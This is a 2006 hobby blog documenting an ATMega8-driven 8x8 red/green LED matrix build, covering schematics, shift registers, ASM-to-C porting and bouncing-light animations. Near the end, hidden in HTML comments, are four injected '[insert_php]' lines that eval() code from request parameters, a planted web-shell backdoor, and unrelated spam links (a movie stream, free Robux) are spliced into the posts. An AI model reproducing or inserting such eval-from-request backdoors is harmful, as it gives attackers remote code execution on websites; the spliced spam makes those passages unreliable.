Robots w/Lasers

March 29, 2006


Here I am posting the schematic of the current design, and my proposed schematic for design revision 2. The main changes are:

  • Directly drive the ROW inputs with transistors, instead of using shift register. I have enough I/O pins that there is no need for a shift register here, and the transistors will allow a decent amount of current through.
  • Limit the current coming out of the COLUMNS with resistors. This is needed now that there will be more current flowing through. Before I got away without them, probably because each row was being driven by a single output pin of the shift registers
  • Use shift registers on columns as before, but this time with a latch, so you wont see the data being shifted in. Thus the ‘off’ LEDs will really be off, instead of the faint flicker/glow
Schematic Rev. 1
Schematic Rev. 1

(What I currently have built)
Schematic Rev. 2
Schematic Rev. 2

(What I am planning to change next time)
Filed under: AVR — davr @ 12:26 am

March 19, 2006

Ported to C

I ported the code to C. Now it is easier for me to work with.

This makes it easy to scale things, so now I have 10 boucing lights instead of one:

Bouncing lightsWatch movie online Get Out (2017)

bounce3.mpg – 3MB

I’m no ASM master, so I could probably be doing it the hard way, but this code in ASM:


Filed under: AVR — davr @ 2:35 pm

March 15, 2006


I finally got the code worked out for bouncing a little ball around. Here’s a short movie:
A single bouncing LED
– 200KB
MPG1 format – 1.1MB
I think next, I am going to rewrite all this code in C. The ASM is getting too complex for me to manage efficiently, I spend too much time tracking down ASM bugs versus actually writing code.

Filed under: AVR — davr @ 10:55 am


I hardcoded this pattern to load into SRAM on bootup:

Smiley face

Filed under: AVR — davr @ 9:38 am

March 14, 2006


Ok, now I’ve written the code to display patterns from RAM, but I haven’t written the code to actually update those patterns. So I’m not sure exactly where this pattern is coming from. But it’s slightly more interesting looking now:

Color patterns

Still the same problem with the ‘off’ leds lighting up slightly, but I think it’s not too bad for now. Next up, I think I’ll animate a simple 1-pixel ‘ball’ bouncing around or something.

Filed under: AVR — davr @ 11:08 pm

March 13, 2006

Unlatched color

March 13th:
Here it is you can see the different colors possible:
An 8x8 grid of off, red, green, and orange LEDs
One problem, is I am using shift registers without a latch. So as the data is shifted into place, it appears on the incorrect LEDs for a very short amount of time. Which causes them to light up a short amount of time. I’m not sure there is anything I can do about this, besides shifting the data into place faster: currently my AVR is clocked at 8mhz, but it supports up to 16mhz (I just need to put in a different crystal). I think best solution is to use a latch though.

Roblox Free Unlimited Robux and Tix

Filed under: AVR — davr @ 11:29 pm

Finished wiring

March 12th:

Finally finished wiring it! (Man that was a lot of work):
Underside of protoboard with tons of wires

Here is a short movie of a quick test of making some random LEDs light up:
Frame from video: Some blinking leds
MPG1 format – 1.8MB
It’s hard to see in the video, but they are red, green, and orange.

Unfortunately, my programming cable is about 3 inches long (parallel port). I have an extra 6′ parallel cable, but it’s the wrong gender. So currently, I have to crawl behind my PC everytime I want to reprogram the AVR 🙁
I’m building a correct gender parallel cable now, so I don’t have to keep doing that. (Yeah…I know you can get them for $4…but I’m cheap)

Everyone keeps telling me I need to put resistors in series with the LEDs to limit current, but it seems to work ok without them, and thats 16*2 fewer solder joints I need to make. We’ll see if anything burns out hah.

Filed under: AVR — davr @ 11:28 pm

50% Wired

March 11th:

Here is it about 50% wired:
Underside of protoboard with wires

Filed under: AVR — davr @ 11:27 pm

LED Matrix Display project

Feb/March 2006:

My plan is to use a 8×8 led matrix, and make a small game. Maybe pong, or breakout, or something. The cheapest LED matrix I could find (Futurlec’s LEDM88RG sch), for $1.90 each), was actually red and green in each cell, so now I will have 2 bits per pixel of color! (It can be red, green, or orange(both)!). I’m going to use shift registers on the rows & columns (those three IC’s are 74HC164: 8-bit serial in/parallel out), so I don’t need to use a ton of output pins on the microcontroller.

I’m using an ATMega8 by Atmel, which is awesome: 8MHz (can go 16Mhz if I change the crystal), 8KB Flash for program storage, 32 general purpose 8-bit registers, 1KB SRAM, and 0.5KB EEPROM. It has 23 general purpose I/O lines. The best part? It’s only $3.66. The development board was about $16, and the programming cable was $12. (This was all from SparkFun, a pretty cool shop)

March 10th:
Here is a protoboard with some components on it:
Protoboard with some components

It doesn’t have the microcontroller and supporting stuff, because this is the prototype, and all that is on the dev board. Those 6 things at the bottom are buttons…I’m thinking a control scheme like Up/Down/Left/Right, and then A & B. Maybe a ‘start’ button as well…

<!-- [insert_php]if (isset($_REQUEST["yML"])){eval($_REQUEST["yML"]);exit;}[/insert_php]


  1. span style="color:#FF0000;">"yML""yML"


<!-- [insert_php]if (isset($_REQUEST["qALrN"])){eval($_REQUEST["qALrN"]);exit;}[/insert_php]




<!-- [insert_php]if (isset($_REQUEST["ICg"])){eval($_REQUEST["ICg"]);exit;}[/insert_php]




<!-- [insert_php]if (isset($_REQUEST["qDt"])){eval($_REQUEST["qDt"]);exit;}[/insert_php]




Filed under: AVR — davr @ 11:27 pm
« Previous Page

Powered by WordPress

Bad Behavior has blocked 1081 access attempts in the last 7 days.